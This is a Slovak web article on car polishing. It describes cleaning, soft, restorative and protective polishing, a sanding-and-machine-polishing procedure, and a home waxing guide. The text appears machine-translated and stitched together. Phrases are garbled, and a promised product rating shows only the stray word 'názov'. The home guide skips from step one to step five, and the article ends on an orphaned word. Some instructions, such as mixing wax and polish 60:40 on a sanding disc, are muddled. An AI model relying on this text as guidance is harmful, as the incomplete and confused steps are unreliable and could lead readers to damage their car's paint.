Autoleštenie je potrebné nielen na to, aby povrch auta získal pôvodný lesk a estetiku, ale aj na odstránenie viditeľných defektov. Tento postup je potrebný, pretože cez mikrotrhlinky v hornej vrstve sa na kov dostávajú rôzne agresívne látky. Ich vplyv na materiál vedie k procesu korózie. Lézie sa postupne zväčšujú a keď si majiteľ auta všimne vzniknuté defekty, bude musieť minúť veľa peňazí na lokalizáciu korózneho procesu. Ukazuje sa, že leštenie auta je potrebné aj ako preventívne opatrenie.

Druhy leštenia automobilov

Pred leštením povrchu auta, aby ste mu vrátili lesk, skontrolujte možnosti leštenia. V závislosti od účelu môže byť čistiaci, mäkký, obnovujúci, ochranný. Pokiaľ ide o leštiacu pastu, vyberá sa v súlade so stavom laku. Napríklad, ak je vozidlo prakticky nové a jeho karoséria je len mierne zakalená optimálna voľba sa stane doma leštidlom na karosérie s nízkym obsahom abrazívnych častíc alebo úplne bez nich.

Očista

Čistenie leštením auta pomôže zbaviť karosérie vozidla škrabancov, hologramov z nekvalitného leštenia, pavučín a malých škrabancov. Musí sa vykonať pred aplikáciou akéhokoľvek komplexu ochranný kryt keramika, kremeň alebo tekuté sklo. Táto možnosť je ideálna pre nové autá alebo autá, ktoré sú v dobrom stave. Viac podrobností o funkciách:

• V akých prípadoch sa používa: na čistenie od všetkých druhov nečistôt, malých škrabancov, hologramov.
• Vlastnosti: Na procedúru sa používajú neabrazívne a jemne abrazívne pasty.
• Výhody: neovplyvňuje hrúbku laku, dokončí sa priemerne za deň.
• Nevýhody: používa sa výhradne na autá, ktoré sú v dobrom stave alebo s veľmi jemným lakom.

Mäkký

Po rozhodnutí objednať si detailing, t.j. čistenie a renovácia auta, dbajte na jemné leštenie, ktoré sa vykonáva všade v autoservisoch. Tento typ leštenia sa považuje za najšetrnejší. Zároveň je to o niečo lacnejšie v porovnaní s nanášaním abrazívneho prostriedku, ale plytko preniká do laku. Často používané majiteľmi automobilov Japonská výroba, ktoré sa vyznačujú nanesením tenkej a málo odolnej vrstvy laku. Charakteristika:

• V akých prípadoch sa používa: pre vozidlá so sotva viditeľnými nedokonalosťami laku, nízkym počtom najazdených kilometrov.
• Vlastnosti: je to prechodná možnosť medzi abrazívnym a základným obnovovacím leštením.
• Výhody: vrchná vrstva laku sa nestenčuje.
• Nevýhody: použiteľné len pre autá s viac alebo menej dobrý stav telo

Regeneračný

Tento typ leštenia znamená odstránenie časti ochranného laku s cieľom zbaviť povrch karosérie drobných škrabancov a pavučín, ktoré vznikajú pri pieskovacom efekte. Okrem toho je široko používaný, aby dodal autu originálny lesk. Na tento účel používajú rôzne možnosti brúsne pasty a leštiace kotúče s v rôznej miere chlpatosť. Po obnovovacom leštení sa odporúča použiť ochranný lesk, aby sa efekt lesku zachoval dlhšie. dlhé obdobiečas. Viac podrobností o technológii:

• V akých prípadoch sa používa: na odstránenie všetkých druhov nečistôt, hlboké škrabance.
• Vlastnosti: možno použiť produkty s jemnou aj strednou zrnitosťou.
• Výhody: vplyv na hrúbku laku je minimálny, vhodné pre staršie autá.

Ochranný

Aby kapota a ostatné prvky karosérie mali kvalitný a estetický vzhľad, je potrebné uchýliť sa k dokončeniu ochranné leštenie. S profesionálnym prístupom a dostupnosťou potrebné nástroje Táto technológia vám umožňuje dodať vozidlu lesk a lesk a spoľahlivo chrániť jeho karosériu pred vplyvmi prostredia. To pomáha zvýšiť prevádzku stroja. Toto leštenie sa aplikuje ručne:

• V akých prípadoch sa používa: na ochranu stroja pred negatívnymi účinkami vonkajších faktorov.
• Vlastnosti: neabrazívne leštidlá na báze syntetické materiály alebo vosky.
• Výhody: UV ochrana, odolnosť voči hologramom, oxidácii, väčšina chemické zlúčeniny.
• Nevýhody: vysoké náklady.

Ako leštiť auto

Proces leštenia môže byť mechanický alebo ručný. Okrem toho existuje bezkontaktná metóda, ktorej použitie vyžaduje prítomnosť špeciálnej mikroemulzie, zavedenej do výroby pomerne nedávno. Predtým, než si auto vyleštíte sami, pripravte si vhodný prípravok. Môže to byť automobilový vosk, gél, pasta atď. Procedúru vykonajte v miestnosti s digestorom a intenzívnymi zdrojmi svetla na stenách a strope. Ďalej postupujte podľa týchto krokov:

1. Umyte auto, vysušte ho, potom odstráňte stopy antikorózie alebo hmyzu a nezmazateľné bitúmenové škvrny pomocou špeciálne prostriedky, napríklad lakový benzín. Potom, čo sa ubezpečíte, že je auto čisté, odmastite povrch anti-silikónovým prostriedkom.
2. Vezmite brúsny papier, fľašu vody a postupne, bez stláčania, začnite škárovať povrch, ktorý sa má ošetrovať, až kým nebude matný. Používajte čo najtenší brúsny papier – nie hrubší ako P1500 a P1200. Pred použitím namočte na 5-10 minút.
3. Po brúsení nezabudnite vyčistiť pracovná plocha z prachu.
4. Vezmite si brúsku s tvrdým (bielym) alebo stredne tvrdým (oranžovým) kotúčom a stredne zrnitou pastou. Nezabudnite kruh namočiť.
5. Naneste pastu na oblasť, ktorú chcete leštiť, pomocou špeciálnych utierok z mikrovlákna.
6. Pokračujte v leštení a začnite proces s ďalšími nízke otáčky, postupne ich zvyšuje na 1-1,5 tis.
7. Po dokončení postupu skontrolujte výsledok vykonanej práce. Potom už len stačí povrch umyť mydlom alebo navlhčiť odmasťovačom.

Leštidlo na auto

Na leštenie auta v čiernej, červenej, bielej a iných farbách je veľmi dôležité vybrať optimálny produkt. Jedným z tajomstiev úspešného výsledku bude, ako inteligentná sa ukáže byť voľba, ktorú urobíte. Nižšie uvedené hodnotenie, ktoré obsahuje niektoré z najlepších leštidiel na karosérie, vám s tým pomôže:

názov

Aby auto vyzeralo draho, nie je potrebné ho leštiť profesionálne vybavenie. Podstatou leštenia je, že pomocou leštiaceho stroja so špeciálnou tryskou sa karoséria auta pretrie, lak na karosérii sa trením zohreje a vyplní nerovnosti. Aby ste zabránili vyblednutiu náteru, auto často nelešte. Znížte postup na raz ročne. Leštením auta je jednoduchšie udržiavať lesk vášho auta. automobilový vosk raz za 2-3 mesiace.

Návod na leštenie auta doma

KROK JEDNA: Auto umyte ručne bez utierania dosucha. Umývajte sa v tieni, telo chráňte pred slnkom.

Technické poradenstvo: Strojové leštenie, so špeciálnym elektrické zariadenie, náročný proces. Odporúčame to robiť mimo iných áut, domácich zvierat a stien, z ktorých nechcete neskôr zotrieť farbu. Na leštenie áut tmavej farby používajte mäkké handričky, pretože táto farba je citlivá na mechanickú povrchovú úpravu. Na autá svetlých farieb použite hrubší materiál.

5. KROK: Naneste vrstvu autovosku na povrch karosérie, ktorá pomôže skryť stopy po vírení leštiaci stroj a zostávajúce povrchové chyby. Na brúsny kotúč naneste zmes vosku a leštidla v pomere 60:40. Vosk rozotrite po povrchu tela pohyby vpred tam a späť strednou rýchlosťou, ale s konštantným tlakom.

ŠESTÝ KROK (konečný): Kým vosk schne, ukončite umývanie utretím okien, interiéru, deliacej dosky atď. Zvyšný vosk na tele utrite utierkou z mikrovlákna. Osušky alebo handry môžu poškodiť povrch tela, preto si kúpte špeciálne.

To je všetko, práca je dokončená! Vyvalte auto na slnku, pozvite rodinu, priateľov, susedov a oslávte druhé narodeniny auta... siete.